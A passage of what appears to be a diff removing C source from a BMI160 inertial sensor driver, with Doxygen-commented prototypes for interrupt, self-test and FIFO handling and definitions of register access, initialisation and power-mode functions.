bmi160_acc_no_motion_int_cfg* no_mot_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API enables the sig-motion motion interrupt. - * - * @param[in] sig_mot_int_cfg : Structure instance of - * bmi160_acc_sig_mot_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t enable_sig_motion_int( - const struct bmi160_acc_sig_mot_int_cfg* sig_mot_int_cfg, - struct bmi160_dev* dev); - -/*! - * @brief This API configure the interrupt PIN setting for - * significant motion interrupt. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] sig_mot_int_cfg : Structure instance of - * bmi160_acc_sig_mot_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_sig_motion_int_settg( - const struct bmi160_int_settg* int_config, - const struct bmi160_acc_sig_mot_int_cfg* sig_mot_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the source of data(filter & pre-filter) - * for sig motion interrupt. - * - * @param[in] sig_mot_int_cfg : Structure instance of - * bmi160_acc_sig_mot_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_sig_motion_data_src( - const struct bmi160_acc_sig_mot_int_cfg* sig_mot_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the threshold, skip and proof time of - * sig motion interrupt. - * - * @param[in] sig_mot_int_cfg : Structure instance of - * bmi160_acc_sig_mot_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_sig_dur_threshold( - const struct bmi160_acc_sig_mot_int_cfg* sig_mot_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API enables the step detector interrupt. - * - * @param[in] step_detect_int_cfg : Structure instance of - * bmi160_acc_step_detect_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t enable_step_detect_int( - const struct bmi160_acc_step_detect_int_cfg* step_detect_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the step detector parameter. - * - * @param[in] step_detect_int_cfg : Structure instance of - * bmi160_acc_step_detect_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_step_detect( - const struct bmi160_acc_step_detect_int_cfg* step_detect_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API enables the single/double tap interrupt. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t enable_tap_int( - const struct bmi160_int_settg* int_config, - const struct bmi160_acc_tap_int_cfg* tap_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the interrupt PIN setting for - * tap interrupt. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] tap_int_cfg : Structure instance of bmi160_acc_tap_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_tap_int_settg( - const struct bmi160_int_settg* int_config, - const struct bmi160_acc_tap_int_cfg* tap_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the source of data(filter & pre-filter) - * for tap interrupt. - * - * @param[in] tap_int_cfg : Structure instance of bmi160_acc_tap_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_tap_data_src( - const struct bmi160_acc_tap_int_cfg* tap_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the parameters of tap interrupt. - * Threshold, quite, shock, and duration. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] tap_int_cfg : Structure instance of bmi160_acc_tap_int_cfg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_tap_param( - const struct bmi160_int_settg* int_config, - const struct bmi160_acc_tap_int_cfg* tap_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API enable the external mode configuration. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_sec_if(const struct bmi160_dev* dev); - -/*! - * @brief This API configure the ODR of the auxiliary sensor. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_aux_odr(const struct bmi160_dev* dev); - -/*! - * @brief This API maps the actual burst read length set by user. - * - * @param[in] len : Pointer to store the read length. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t map_read_len(uint16_t* len, const struct bmi160_dev* dev); - -/*! - * @brief This API configure the settings of auxiliary sensor. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_aux_settg(const struct bmi160_dev* dev); - -/*! - * @brief This API extract the read data from auxiliary sensor. - * - * @param[in] map_len : burst read value. - * @param[in] reg_addr : Address of register to read. - * @param[in] aux_data : Pointer to store the read data. - * @param[in] len : length to read the data. - * @param[in] dev : Structure instance of bmi160_dev. - * @note : Refer user guide for detailed info. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t extract_aux_read( - uint16_t map_len, - uint8_t reg_addr, - uint8_t* aux_data, - uint16_t len, - const struct bmi160_dev* dev); - -/*! - * @brief This API enables the orient interrupt. - * - * @param[in] orient_int_cfg : Structure instance of bmi160_acc_orient_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t enable_orient_int( - const struct bmi160_acc_orient_int_cfg* orient_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the necessary setting of orientation interrupt. - * - * @param[in] orient_int_cfg : Structure instance of bmi160_acc_orient_int_cfg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_orient_int_settg( - const struct bmi160_acc_orient_int_cfg* orient_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API enables the flat interrupt. - * - * @param[in] flat_int : Structure instance of bmi160_acc_flat_detect_int_cfg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t enable_flat_int( - const struct bmi160_acc_flat_detect_int_cfg* flat_int, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the necessary setting of flat interrupt. - * - * @param[in] flat_int : Structure instance of bmi160_acc_flat_detect_int_cfg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_flat_int_settg( - const struct bmi160_acc_flat_detect_int_cfg* flat_int, - const struct bmi160_dev* dev); - -/*! - * @brief This API enables the Low-g interrupt. - * - * @param[in] low_g_int : Structure instance of bmi160_acc_low_g_int_cfg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t enable_low_g_int( - const struct bmi160_acc_low_g_int_cfg* low_g_int, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the source of data(filter & pre-filter) for low-g interrupt. - * - * @param[in] low_g_int : Structure instance of bmi160_acc_low_g_int_cfg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_low_g_data_src( - const struct bmi160_acc_low_g_int_cfg* low_g_int, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the necessary setting of low-g interrupt. - * - * @param[in] low_g_int : Structure instance of bmi160_acc_low_g_int_cfg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_low_g_int_settg( - const struct bmi160_acc_low_g_int_cfg* low_g_int, - const struct bmi160_dev* dev); - -/*! - * @brief This API enables the high-g interrupt. - * - * @param[in] high_g_int_cfg : Structure instance of bmi160_acc_high_g_int_cfg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t enable_high_g_int( - const struct bmi160_acc_high_g_int_cfg* high_g_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the source of data(filter & pre-filter) - * for high-g interrupt. - * - * @param[in] high_g_int_cfg : Structure instance of bmi160_acc_high_g_int_cfg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_high_g_data_src( - const struct bmi160_acc_high_g_int_cfg* high_g_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the necessary setting of high-g interrupt. - * - * @param[in] high_g_int_cfg : Structure instance of bmi160_acc_high_g_int_cfg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_high_g_int_settg( - const struct bmi160_acc_high_g_int_cfg* high_g_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the behavioural setting of interrupt pin. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t - config_int_out_ctrl(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API configure the mode(input enable, latch or non-latch) of interrupt pin. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t - config_int_latch(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API performs the self test for accelerometer of BMI160 - * - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t perform_accel_self_test(struct bmi160_dev* dev); - -/*! - * @brief This API enables to perform the accel self test by setting proper - * configurations to facilitate accel self test - * - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t enable_accel_self_test(struct bmi160_dev* dev); - -/*! - * @brief This API performs accel self test with positive excitation - * - * @param[in] accel_pos : Structure pointer to store accel data - * for positive excitation - * @param[in] dev : structure instance of bmi160_dev - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t accel_self_test_positive_excitation( - struct bmi160_sensor_data* accel_pos, - const struct bmi160_dev* dev); - -/*! - * @brief This API performs accel self test with negative excitation - * - * @param[in] accel_neg : Structure pointer to store accel data - * for negative excitation - * @param[in] dev : structure instance of bmi160_dev - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t accel_self_test_negative_excitation( - struct bmi160_sensor_data* accel_neg, - const struct bmi160_dev* dev); - -/*! - * @brief This API validates the accel self test results - * - * @param[in] accel_pos : Structure pointer to store accel data - * for positive excitation - * @param[in] accel_neg : Structure pointer to store accel data - * for negative excitation - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error / +ve value -> Self test fail - */ -static int8_t validate_accel_self_test( - const struct bmi160_sensor_data* accel_pos, - const struct bmi160_sensor_data* accel_neg); - -/*! - * @brief This API performs the self test for gyroscope of BMI160 - * - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t perform_gyro_self_test(const struct bmi160_dev* dev); - -/*! - * @brief This API enables the self test bit to trigger self test for gyro - * - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t enable_gyro_self_test(const struct bmi160_dev* dev); - -/*! - * @brief This API validates the self test results of gyro - * - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t validate_gyro_self_test(const struct bmi160_dev* dev); - -/*! - * @brief This API sets FIFO full interrupt of the sensor.This interrupt - * occurs when the FIFO is full and the next full data sample would cause - * a FIFO overflow, which may delete the old samples. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t - set_fifo_full_int(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This enable the FIFO full interrupt engine. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t - enable_fifo_full_int(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API sets FIFO watermark interrupt of the sensor.The FIFO - * watermark interrupt is fired, when the FIFO fill level is above a fifo - * watermark. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t - set_fifo_watermark_int(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This enable the FIFO watermark interrupt engine. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t - enable_fifo_wtm_int(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API is used to reset the FIFO related configurations - * in the fifo_frame structure. - * - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void reset_fifo_data_structure(const struct bmi160_dev* dev); - -/*! - * @brief This API is used to read number of bytes filled - * currently in FIFO buffer. - * - * @param[in] bytes_to_read : Number of bytes available in FIFO at the - * instant which is obtained from FIFO counter. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - * @retval Any non zero value -> Fail - * - */ -static int8_t get_fifo_byte_counter(uint16_t* bytes_to_read, struct bmi160_dev const* dev); - -/*! - * @brief This API is used to compute the number of bytes of accel FIFO data - * which is to be parsed in header-less mode - * - * @param[out] data_index : The start index for parsing data - * @param[out] data_read_length : Number of bytes to be parsed - * @param[in] acc_frame_count : Number of accelerometer frames to be read - * @param[in] dev : Structure instance of bmi160_dev. - * - */ -static void get_accel_len_to_parse( - uint16_t* data_index, - uint16_t* data_read_length, - const uint8_t* acc_frame_count, - const struct bmi160_dev* dev); - -/*! - * @brief This API is used to parse the accelerometer data from the - * FIFO data in both header mode and header-less mode. - * It updates the idx value which is used to store the index of - * the current data byte which is parsed. - * - * @param[in,out] acc : structure instance of sensor data - * @param[in,out] idx : Index value of number of bytes parsed - * @param[in,out] acc_idx : Index value of accelerometer data - * (x,y,z axes) frames parsed - * @param[in] frame_info : It consists of either fifo_data_enable - * parameter in header-less mode or - * frame header data in header mode - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void unpack_accel_frame( - struct bmi160_sensor_data* acc, - uint16_t* idx, - uint8_t* acc_idx, - uint8_t frame_info, - const struct bmi160_dev* dev); - -/*! - * @brief This API is used to parse the accelerometer data from the - * FIFO data and store it in the instance of the structure bmi160_sensor_data. - * - * @param[in,out] accel_data : structure instance of sensor data - * @param[in,out] data_start_index : Index value of number of bytes parsed - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void unpack_accel_data( - struct bmi160_sensor_data* accel_data, - uint16_t data_start_index, - const struct bmi160_dev* dev); - -/*! - * @brief This API is used to parse the accelerometer data from the - * FIFO data in header mode. - * - * @param[in,out] accel_data : Structure instance of sensor data - * @param[in,out] accel_length : Number of accelerometer frames - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void extract_accel_header_mode( - struct bmi160_sensor_data* accel_data, - uint8_t* accel_length, - const struct bmi160_dev* dev); - -/*! - * @brief This API computes the number of bytes of gyro FIFO data - * which is to be parsed in header-less mode - * - * @param[out] data_index : The start index for parsing data - * @param[out] data_read_length : No of bytes to be parsed from FIFO buffer - * @param[in] gyro_frame_count : Number of Gyro data frames to be read - * @param[in] dev : Structure instance of bmi160_dev. - */ -static void get_gyro_len_to_parse( - uint16_t* data_index, - uint16_t* data_read_length, - const uint8_t* gyro_frame_count, - const struct bmi160_dev* dev); - -/*! - * @brief This API is used to parse the gyroscope's data from the - * FIFO data in both header mode and header-less mode. - * It updates the idx value which is used to store the index of - * the current data byte which is parsed. - * - * @param[in,out] gyro : structure instance of sensor data - * @param[in,out] idx : Index value of number of bytes parsed - * @param[in,out] gyro_idx : Index value of gyro data - * (x,y,z axes) frames parsed - * @param[in] frame_info : It consists of either fifo_data_enable - * parameter in header-less mode or - * frame header data in header mode - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void unpack_gyro_frame( - struct bmi160_sensor_data* gyro, - uint16_t* idx, - uint8_t* gyro_idx, - uint8_t frame_info, - const struct bmi160_dev* dev); - -/*! - * @brief This API is used to parse the gyro data from the - * FIFO data and store it in the instance of the structure bmi160_sensor_data. - * - * @param[in,out] gyro_data : structure instance of sensor data - * @param[in,out] data_start_index : Index value of number of bytes parsed - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void unpack_gyro_data( - struct bmi160_sensor_data* gyro_data, - uint16_t data_start_index, - const struct bmi160_dev* dev); - -/*! - * @brief This API is used to parse the gyro data from the - * FIFO data in header mode. - * - * @param[in,out] gyro_data : Structure instance of sensor data - * @param[in,out] gyro_length : Number of gyro frames - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void extract_gyro_header_mode( - struct bmi160_sensor_data* gyro_data, - uint8_t* gyro_length, - const struct bmi160_dev* dev); - -/*! - * @brief This API computes the number of bytes of aux FIFO data - * which is to be parsed in header-less mode - * - * @param[out] data_index : The start index for parsing data - * @param[out] data_read_length : No of bytes to be parsed from FIFO buffer - * @param[in] aux_frame_count : Number of Aux data frames to be read - * @param[in] dev : Structure instance of bmi160_dev. - */ -static void get_aux_len_to_parse( - uint16_t* data_index, - uint16_t* data_read_length, - const uint8_t* aux_frame_count, - const struct bmi160_dev* dev); - -/*! - * @brief This API is used to parse the aux's data from the - * FIFO data in both header mode and header-less mode. - * It updates the idx value which is used to store the index of - * the current data byte which is parsed - * - * @param[in,out] aux_data : structure instance of sensor data - * @param[in,out] idx : Index value of number of bytes parsed - * @param[in,out] aux_index : Index value of gyro data - * (x,y,z axes) frames parsed - * @param[in] frame_info : It consists of either fifo_data_enable - * parameter in header-less mode or - * frame header data in header mode - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void unpack_aux_frame( - struct bmi160_aux_data* aux_data, - uint16_t* idx, - uint8_t* aux_index, - uint8_t frame_info, - const struct bmi160_dev* dev); - -/*! - * @brief This API is used to parse the aux data from the - * FIFO data and store it in the instance of the structure bmi160_aux_data. - * - * @param[in,out] aux_data : structure instance of sensor data - * @param[in,out] data_start_index : Index value of number of bytes parsed - * @param[in] dev : structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void unpack_aux_data( - struct bmi160_aux_data* aux_data, - uint16_t data_start_index, - const struct bmi160_dev* dev); - -/*! - * @brief This API is used to parse the aux data from the - * FIFO data in header mode. - * - * @param[in,out] aux_data : Structure instance of sensor data - * @param[in,out] aux_length : Number of aux frames - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void extract_aux_header_mode( - struct bmi160_aux_data* aux_data, - uint8_t* aux_length, - const struct bmi160_dev* dev); - -/*! - * @brief This API checks the presence of non-valid frames in the read fifo data. - * - * @param[in,out] data_index : The index of the current data to - * be parsed from fifo data - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void check_frame_validity(uint16_t* data_index, const struct bmi160_dev* dev); - -/*! - * @brief This API is used to move the data index ahead of the - * current_frame_length parameter when unnecessary FIFO data appears while - * extracting the user specified data. - * - * @param[in,out] data_index : Index of the FIFO data which - * is to be moved ahead of the - * current_frame_length - * @param[in] current_frame_length : Number of bytes in a particular frame - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void move_next_frame( - uint16_t* data_index, - uint8_t current_frame_length, - const struct bmi160_dev* dev); - -/*! - * @brief This API is used to parse and store the sensor time from the - * FIFO data in the structure instance dev. - * - * @param[in,out] data_index : Index of the FIFO data which - * has the sensor time. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void unpack_sensortime_frame(uint16_t* data_index, const struct bmi160_dev* dev); - -/*! - * @brief This API is used to parse and store the skipped_frame_count from - * the FIFO data in the structure instance dev. - * - * @param[in,out] data_index : Index of the FIFO data which - * has the skipped frame count. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static void unpack_skipped_frame(uint16_t* data_index, const struct bmi160_dev* dev); - -/*! - * @brief This API is used to get the FOC status from the sensor - * - * @param[in,out] foc_status : Result of FOC status. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t get_foc_status(uint8_t* foc_status, struct bmi160_dev const* dev); - -/*! - * @brief This API is used to configure the offset enable bits in the sensor - * - * @param[in,out] foc_conf : Structure instance of bmi160_foc_conf which - * has the FOC and offset configurations - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t - configure_offset_enable(const struct bmi160_foc_conf* foc_conf, struct bmi160_dev const* dev); - -/*! - * @brief This API is used to trigger the FOC in the sensor - * - * @param[in,out] offset : Structure instance of bmi160_offsets which - * reads and stores the offset values after FOC - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t trigger_foc(struct bmi160_offsets* offset, struct bmi160_dev const* dev); - -/*! - * @brief This API is used to map/unmap the Dataready(Accel & Gyro), FIFO full - * and FIFO watermark interrupt - * - * @param[in] int_config : Structure instance of bmi160_int_settg which - * stores the interrupt type and interrupt channel - * configurations to map/unmap the interrupt pins - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t - map_hardware_interrupt(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API is used to map/unmap the Any/Sig motion, Step det/Low-g, - * Double tap, Single tap, Orientation, Flat, High-G, Nomotion interrupt pins. - * - * @param[in] int_config : Structure instance of bmi160_int_settg which - * stores the interrupt type and interrupt channel - * configurations to map/unmap the interrupt pins - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t - map_feature_interrupt(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*********************** User function definitions ****************************/ - -/*! - * @brief This API reads the data from the given register address - * of sensor. - */ -int8_t - bmi160_get_regs(uint8_t reg_addr, uint8_t* data, uint16_t len, const struct bmi160_dev* dev) { - int8_t rslt = BMI160_OK; - - /* Null-pointer check */ - if((dev == NULL) || (dev->read == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else if(len == 0) { - rslt = BMI160_E_READ_WRITE_LENGTH_INVALID; - } else { - /* Configuring reg_addr for SPI Interface */ - if(dev->intf == BMI160_SPI_INTF) { - reg_addr = (reg_addr | BMI160_SPI_RD_MASK); - } - - rslt = dev->read(dev->id, reg_addr, data, len); - } - - return rslt; -} - -/*! - * @brief This API writes the given data to the register address - * of sensor. - */ -int8_t - bmi160_set_regs(uint8_t reg_addr, uint8_t* data, uint16_t len, const struct bmi160_dev* dev) { - int8_t rslt = BMI160_OK; - uint8_t count = 0; - - /* Null-pointer check */ - if((dev == NULL) || (dev->write == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else if(len == 0) { - rslt = BMI160_E_READ_WRITE_LENGTH_INVALID; - } else { - /* Configuring reg_addr for SPI Interface */ - if(dev->intf == BMI160_SPI_INTF) { - reg_addr = (reg_addr & BMI160_SPI_WR_MASK); - } - - if((dev->prev_accel_cfg.power == BMI160_ACCEL_NORMAL_MODE) || - (dev->prev_gyro_cfg.power == BMI160_GYRO_NORMAL_MODE)) { - rslt = dev->write(dev->id, reg_addr, data, len); - - /* Kindly refer bmi160 data sheet section 3.2.4 */ - dev->delay_ms(1); - - } else { - /*Burst write is not allowed in - * suspend & low power mode */ - for(; count < len; count++) { - rslt = dev->write(dev->id, reg_addr, &data[count], 1); - reg_addr++; - - /* Kindly refer bmi160 data sheet section 3.2.4 */ - dev->delay_ms(1); - } - } - - if(rslt != BMI160_OK) { - rslt = BMI160_E_COM_FAIL; - } - } - - return rslt; -} - -/*! - * @brief This API is the entry point for sensor.It performs - * the selection of I2C/SPI read mechanism according to the - * selected interface and reads the chip-id of bmi160 sensor. - */ -int8_t bmi160_init(struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data; - uint8_t try = 3; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - - /* Dummy read of 0x7F register to enable SPI Interface - * if SPI is used */ - if((rslt == BMI160_OK) && (dev->intf == BMI160_SPI_INTF)) { - rslt = bmi160_get_regs(BMI160_SPI_COMM_TEST_ADDR, &data, 1, dev); - } - - if(rslt == BMI160_OK) { - /* Assign chip id as zero */ - dev->chip_id = 0; - - while((try--) && (dev->chip_id != BMI160_CHIP_ID)) { - /* Read chip_id */ - rslt = bmi160_get_regs(BMI160_CHIP_ID_ADDR, &dev->chip_id, 1, dev); - } - - if((rslt == BMI160_OK) && (dev->chip_id == BMI160_CHIP_ID)) { - dev->any_sig_sel = BMI160_BOTH_ANY_SIG_MOTION_DISABLED; - - /* Soft reset */ - rslt = bmi160_soft_reset(dev); - } else { - rslt = BMI160_E_DEV_NOT_FOUND; - } - } - - return rslt; -} - -/*! - * @brief This API resets and restarts the device. - * All register values are overwritten with default parameters. - */ -int8_t bmi160_soft_reset(struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = BMI160_SOFT_RESET_CMD; - - /* Null-pointer check */ - if((dev == NULL) || (dev->delay_ms == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* Reset the device */ - rslt = bmi160_set_regs(BMI160_COMMAND_REG_ADDR, &data, 1, dev); - dev->delay_ms(BMI160_SOFT_RESET_DELAY_MS); - if((rslt == BMI160_OK) && (dev->intf == BMI160_SPI_INTF)) { - /* Dummy read of 0x7F register to enable SPI Interface - * if SPI is used */ - rslt = bmi160_get_regs(BMI160_SPI_COMM_TEST_ADDR, &data, 1, dev); - } - - if(rslt == BMI160_OK) { - /* Update the default parameters */ - default_param_settg(dev); - } - } - - return rslt; -} - -/*! - * @brief This API configures the power mode, range and bandwidth - * of sensor. - */ -int8_t bmi160_set_sens_conf(struct bmi160_dev* dev) { - int8_t rslt = BMI160_OK; - - /* Null-pointer check */ - if((dev == NULL) || (dev->delay_ms == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = set_accel_conf(dev); - if(rslt == BMI160_OK) { - rslt = set_gyro_conf(dev); - if(rslt == BMI160_OK) { - /* write power mode for accel and gyro */ - rslt = bmi160_set_power_mode(dev); - if(rslt == BMI160_OK) { - rslt = check_invalid_settg(dev); - } - } - } - } - - return rslt; -} - -/*! - * @brief This API gets accel and gyro configurations. - */ -int8_t bmi160_get_sens_conf(struct bmi160_dev* dev) { - int8_t rslt = BMI160_OK; - - /* Null-pointer check */ - if((dev == NULL) || (dev->delay_ms == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = get_accel_conf(dev); - if(rslt == BMI160_OK) { - rslt = get_gyro_conf(dev); - } - } - - return rslt; -} - -/*! - * @brief This API sets the power mode of the sensor. - */ -int8_t bmi160_set_power_mode(struct bmi160_dev* dev) { - int8_t rslt = 0; - - /* Null-pointer check */ - if((dev == NULL) || (dev->delay_ms == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = set_accel_pwr(dev); - if(rslt == BMI160_OK) { - rslt = set_gyro_pwr(dev); - } - } - - return rslt; -} - -/*! - * @brief This API gets the power mode of the sensor. - */ -int8_t bmi160_get_power_mode(struct bmi160_dev* dev) { - int8_t rslt = 0; - uint8_t power_mode = 0; - - /* Null-pointer check */ - if((dev == NULL) || (dev->delay_ms == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = bmi160_get_regs(BMI160_PMU_STATUS_ADDR, &power_mode, 1, dev); - if(rslt == BMI160_OK) { - /* Power mode of the accel, gyro sensor is obtained 